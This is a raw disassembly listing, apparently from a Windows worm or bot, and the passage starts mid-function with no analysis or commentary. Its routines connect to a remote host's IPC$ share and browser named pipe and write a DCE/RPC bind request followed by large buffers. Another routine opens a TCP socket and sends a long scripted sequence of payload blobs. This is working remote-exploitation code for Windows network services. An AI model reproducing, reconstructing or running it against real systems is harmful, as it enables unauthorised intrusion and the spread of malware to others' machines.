		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40C82E
		mov	edi, ebx


loc_40C82E:				; CODE XREF: sub_40C78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C849	proc near		; CODE XREF: sub_40C725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40C876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40C876
		cmp	al, 0FFh
		jz	short loc_40C876
		push	1
		call	sub_40C6B8
		push	esi
		call	sub_417D40
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40C6F0


loc_40C876:				; CODE XREF: sub_40C849+9j
					; sub_40C849+10j ...
		pop	edi
		pop	esi
		retn
sub_40C849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C879	proc near		; DATA XREF: .nsp0:00426008o
		test	byte_4DD08C, 1
		jnz	short loc_40C889
		or	byte_4DD08C, 1


loc_40C889:				; CODE XREF: sub_40C879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_419DA0
		pop	ecx
		retn
sub_40C879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, 8Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	[ebp+0A8h], ebx
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CF67
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40D453
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-8], eax
		rep movsd
		call	sub_40D824
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40C909
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_40C909
		test	eax, eax
		jz	short loc_40C90C


loc_40C909:				; CODE XREF: .nsp0:0040C8FDj
					; .nsp0:0040C903j
		xor	eax, eax
		inc	eax


loc_40C90C:				; CODE XREF: .nsp0:0040C907j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C911	proc near		; DATA XREF: .nsp0:0042600Co
		jmp	$+5
sub_40C911	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C916	proc near
		mov	eax, dword_435770
		add	eax, 6
		mov	dword_4D0BE8, eax
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C924	proc near		; CODE XREF: sub_40C924+D0p
					; sub_40CA12+484p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40C938
		or	[ebp+arg_7], 1
		jmp	short loc_40C93C
; ---------------------------------------------------------------------------


loc_40C938:				; CODE XREF: sub_40C924+Cj
		and	[ebp+arg_7], 0FEh


loc_40C93C:				; CODE XREF: sub_40C924+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40C960
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40C972
; ---------------------------------------------------------------------------


loc_40C960:				; CODE XREF: sub_40C924+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40C972:				; CODE XREF: sub_40C924+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_418235
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40CA0B
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_419070
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jz	short loc_40CA02
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40CA02
		push	[ebp+arg_20]
		call	sub_417E11
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40C9FE
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40C924
		add	esp, 2Ch
		jmp	short loc_40CA0D
; ---------------------------------------------------------------------------


loc_40C9FE:				; CODE XREF: sub_40C924+B3j
		mov	al, 1
		jmp	short loc_40CA0D
; ---------------------------------------------------------------------------


loc_40CA02:				; CODE XREF: sub_40C924+9Cj
					; sub_40C924+A4j
		push	[ebp+arg_20]
		call	sub_417E11
		pop	ecx


loc_40CA0B:				; CODE XREF: sub_40C924+61j
		xor	al, al


loc_40CA0D:				; CODE XREF: sub_40C924+D8j
					; sub_40C924+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA12	proc near		; CODE XREF: sub_40CF67+15p
					; sub_40CF67+3Cp

var_60E0	= byte ptr -60E0h
var_40E0	= byte ptr -40E0h
var_20E0	= byte ptr -20E0h
var_E0		= byte ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= dword	ptr -0B0h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= word ptr -0A0h
var_9E		= byte ptr -9Eh
var_9C		= byte ptr -9Ch
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= byte ptr -60h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_418880
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	offset a_	; "."
		push	eax
		call	sub_419EC0
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_40CA86
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_20E0]
		push	esi
		push	eax
		call	sub_4186E0
		push	20h
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_20E0]
		add	esp, 1Ch
		mov	[ebp+var_CC], eax
		mov	eax, offset byte_4400B4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	dword_4CDF88


loc_40CA86:				; CODE XREF: sub_40CA12+29j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_40E0]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_40E0]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4240EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [ebp+var_C+4], eax
		jnz	short loc_40CACB


loc_40CAC4:				; CODE XREF: sub_40CA12+266j
					; sub_40CA12+371j ...
		xor	eax, eax
		jmp	loc_40CF62
; ---------------------------------------------------------------------------


loc_40CACB:				; CODE XREF: sub_40CA12+B0j
		push	48h
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		call	sub_4182F0
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B8], eax
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_4357C4
		push	eax
		mov	[ebp+var_BC], 5
		mov	[ebp+var_BB], bl
		mov	[ebp+var_BA], 0Bh
		mov	[ebp+var_B9], 3
		mov	[ebp+var_B4], 48h
		mov	[ebp+var_B2], bx
		mov	[ebp+var_B0], ebx
		mov	[ebp+var_AC], 10B8h
		mov	[ebp+var_AA], 10B8h
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_A4], edi
		mov	[ebp+var_A0], bx
		mov	[ebp+var_9E], 1
		call	sub_419070
		push	10h
		lea	eax, [ebp+var_88]
		push	offset dword_4357B0
		push	eax
		mov	[ebp+var_8C], 3
		call	sub_419070
		add	esp, 24h
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_78], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_BC]
		push	48h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jz	loc_40CC6F
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4240E8	; ReadFile
		push	ebx
		call	sub_419DE1
		push	eax
		call	sub_418638
		push	14h
		lea	eax, [ebp+var_74]
		push	41h
		push	eax
		call	sub_4182F0
		push	1Ch
		lea	eax, [ebp+var_34]
		push	41h
		push	eax
		call	sub_4182F0
		add	esp, 20h
		call	sub_418642
		mov	esi, [ebp+arg_BC]
		mov	[ebp+var_74], eax
		mov	dword ptr [ebp+var_68],	edi
		mov	[ebp+var_6C], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_70], edi
		shl	esi, 2
		mov	word ptr [ebp+var_68+4], bx
		mov	[ebp+var_2C], ebx
		cmp	byte_435758[esi], bl
		jz	short loc_40CC18
		push	4
		mov	[ebp+var_28], edi
		mov	[ebp+var_30], edi
		push	offset dword_4D0BEC
		jmp	short loc_40CC28
; ---------------------------------------------------------------------------


loc_40CC18:				; CODE XREF: sub_40CA12+1F5j
		push	2
		pop	eax
		push	4
		mov	[ebp+var_28], eax
		mov	[ebp+var_30], eax
		push	(offset	loc_4357A7+1)


loc_40CC28:				; CODE XREF: sub_40CA12+204j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_419070
		add	esp, 0Ch
		call	sub_418642
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_34], edx
		call	sub_418642
		cdq
		idiv	edi
		mov	eax, dword_43574C[esi]
		mov	[ebp+var_1C], ebx
		push	eax
		mov	[ebp+arg_BC], eax
		inc	edx
		mov	[ebp+var_20], edx
		call	sub_418235
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40CC7D


loc_40CC6F:				; CODE XREF: sub_40CA12+186j
		push	dword ptr [ebp+var_C+4]
		call	dword_424068	; CloseHandle
		jmp	loc_40CAC4
; ---------------------------------------------------------------------------


loc_40CC7D:				; CODE XREF: sub_40CA12+25Bj
		mov	eax, [ebp+arg_BC]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_4182F0
		mov	eax, [ebp+arg_BC]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_4182F0
		mov	eax, dword_435754[esi]
		push	7
		add	eax, edi
		push	offset dword_435740
		push	eax
		mov	[ebp+var_4], eax
		call	sub_419070
		mov	eax, [ebp+var_4]
		push	15Ch
		add	eax, 7
		push	offset dword_4355E0
		push	eax
		call	sub_419070
		mov	eax, dword_435750[esi]
		add	esp, 30h
		mov	[ebp+var_4], eax
		add	eax, edi
		cmp	byte_435758[esi], bl
		jz	short loc_40CD34
		push	4
		push	offset dword_4D0BE8
		push	eax
		call	sub_419070
		add	[ebp+var_4], 0Ch
		mov	esi, offset dword_435770
		mov	eax, [ebp+var_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_419070
		mov	eax, [ebp+var_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_419070
		mov	eax, [ebp+var_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_419070
		add	esp, 30h
		jmp	short loc_40CD5A
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA12+2D5j
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_C], 10h
		mov	esi, offset dword_435770


loc_40CD43:				; CODE XREF: sub_40CA12+346j
		push	4
		push	esi
		push	[ebp+var_4]
		call	sub_419070
		add	[ebp+var_4], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_C]
		jnz	short loc_40CD43


loc_40CD5A:				; CODE XREF: sub_40CA12+320j
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		call	sub_418235
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword ptr [ebp+var_C], esi
		jnz	short loc_40CD88
		push	dword ptr [ebp+var_C+4]
		call	dword_424068	; CloseHandle
		push	edi
		call	sub_417E11
		pop	ecx
		jmp	loc_40CAC4
; ---------------------------------------------------------------------------


loc_40CD88:				; CODE XREF: sub_40CA12+35Fj
		mov	eax, [ebp+arg_BC]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_4182F0
		lea	eax, [ebp+var_74]
		push	14h
		push	eax
		push	esi
		call	sub_419070
		mov	eax, [ebp+arg_BC]
		mov	dword ptr [ebp+var_14+4], ebx
		mov	dword ptr [ebp+var_14],	eax
		add	esp, 10h
		fild	[ebp+var_14]
		fmul	flt_424694
		fstp	[esp+0Ch+var_C]
		call	sub_41951F
		call	sub_4194F8
		push	[ebp+arg_BC]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_419070
		mov	eax, [ebp+arg_BC]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+var_4], eax
		jz	short loc_40CDFE


loc_40CDF6:				; CODE XREF: sub_40CA12+3E7j
		inc	eax
		test	al, 3
		jnz	short loc_40CDF6
		mov	[ebp+var_4], eax


loc_40CDFE:				; CODE XREF: sub_40CA12+3E2j
		lea	ecx, [ebp+var_34]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_419070
		add	[ebp+var_4], 1Ch
		push	edi
		call	sub_417E11
		push	18h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_4182F0
		push	14h
		lea	eax, [ebp+var_60]
		push	ebx
		push	eax
		mov	[ebp+var_4C], 5
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], 3
		mov	[ebp+var_48], 10h
		mov	[ebp+var_42], bx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_38], bx
		mov	[ebp+var_36], 1Fh
		call	sub_4182F0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_4240E4	; CreateEventA
		mov	[ebp+var_50], eax
		mov	byte ptr [ebp+arg_BC+3], bl
		mov	dword ptr [ebp+var_14+4], ebx


loc_40CE6E:				; CODE XREF: sub_40CA12+51Ej
		cmp	dword ptr [ebp+var_14+4], 2
		jge	loc_40CF3B
		push	1
		push	10B8h
		push	[ebp+var_4]
		inc	dword ptr [ebp+var_14+4]
		push	esi
		lea	esi, [ebp+var_4C]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+var_C+4]
		rep movsd
		call	sub_40C924
		add	esp, 2Ch
		test	al, al
		jz	loc_40CF38
		cmp	[ebp+var_50], ebx
		jz	short loc_40CF27
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_4240E8	; ReadFile
		test	eax, eax
		jnz	short loc_40CEDD
		call	dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40CAC4


loc_40CEDD:				; CODE XREF: sub_40CA12+4B8j
		push	3E8h
		push	[ebp+var_50]
		call	dword_4240A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40CF27
		push	65h
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		mov	byte ptr [ebp+arg_BC+3], 1
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_415BBD
		mov	eax, [ebp+arg_A8]
		add	esp, 0C0h
		shl	eax, 6
		lea	eax, dword_4348A0[eax]
		inc	dword ptr [eax]


loc_40CF27:				; CODE XREF: sub_40CA12+497j
					; sub_40CA12+4DEj
		cmp	byte ptr [ebp+arg_BC+3], bl
		mov	esi, dword ptr [ebp+var_C]
		jz	loc_40CE6E
		jmp	short loc_40CF3B
; ---------------------------------------------------------------------------


loc_40CF38:				; CODE XREF: sub_40CA12+48Ej
		mov	esi, dword ptr [ebp+var_C]


loc_40CF3B:				; CODE XREF: sub_40CA12+460j
					; sub_40CA12+524j
		push	dword ptr [ebp+var_C+4]
		mov	edi, dword_424068
		call	edi	; CloseHandle
		push	esi
		call	sub_417E11
		cmp	[ebp+var_50], ebx
		pop	ecx
		jz	short loc_40CF57
		push	[ebp+var_50]
		call	edi	; CloseHandle


loc_40CF57:				; CODE XREF: sub_40CA12+53Ej
		xor	eax, eax
		cmp	byte ptr [ebp+arg_BC+3], bl
		setnz	al


loc_40CF62:				; CODE XREF: sub_40CA12+B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CA12	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CF67	proc near		; CODE XREF: .nsp0:0040C8BEp

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	0
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CA12
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40CF90
		xor	eax, eax
		inc	eax
		jmp	short loc_40CFB4
; ---------------------------------------------------------------------------


loc_40CF90:				; CODE XREF: sub_40CF67+22j
		push	1
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CA12
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40CFB4:				; CODE XREF: sub_40CF67+27j
		pop	edi
		pop	esi
		retn
sub_40CF67	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFB7	proc near		; CODE XREF: sub_40D453+35p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_418880
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	dword_424208	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	dword_42421C	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	dword_4241F4	; htons
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4241F8	; connect
		test	eax, eax
		jge	short loc_40D018


loc_40D011:				; CODE XREF: sub_40CFB7+275j
		xor	eax, eax
		jmp	loc_40D448
; ---------------------------------------------------------------------------


loc_40D018:				; CODE XREF: sub_40CFB7+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	dword_4241FC	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_4153A4
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40D231
		cmp	eax, 1
		jz	loc_40D231
		mov	ebx, dword_42420C
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, dword_424200
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_435848
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_4358A8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_435960
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_435A58
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_435A98
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_435B00
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_435B98
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_435CF8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_435E58
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_435FB8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40D40C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D40C
		push	0
		push	15Bh
		push	offset dword_435B98
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_435CF8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_435E58
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_435FB8
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40D1F8:				; CODE XREF: sub_40CFB7+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40D40C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D40C
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40D40D
		call	dword_424204	; closesocket
		jmp	loc_40D011
; ---------------------------------------------------------------------------


loc_40D231:				; CODE XREF: sub_40CFB7+95j
					; sub_40CFB7+9Ej
		mov	ebx, dword_42420C
		push	edi
		push	48h
		push	offset unk_436028
		push	esi
		call	ebx	; send
		mov	ebp, dword_424200
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_436078
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_4360D8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_436190
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_436288
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_4362F0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_436330
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_436398
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_436430
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_436590
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4366F0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_436850
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_4369B0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40D40C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D40C
		push	0
		push	15Bh
		push	offset dword_436430
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_436590
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4366F0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_436850
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_4369B0
		push	esi
		call	ebx	; send
		jmp	loc_40D1F8
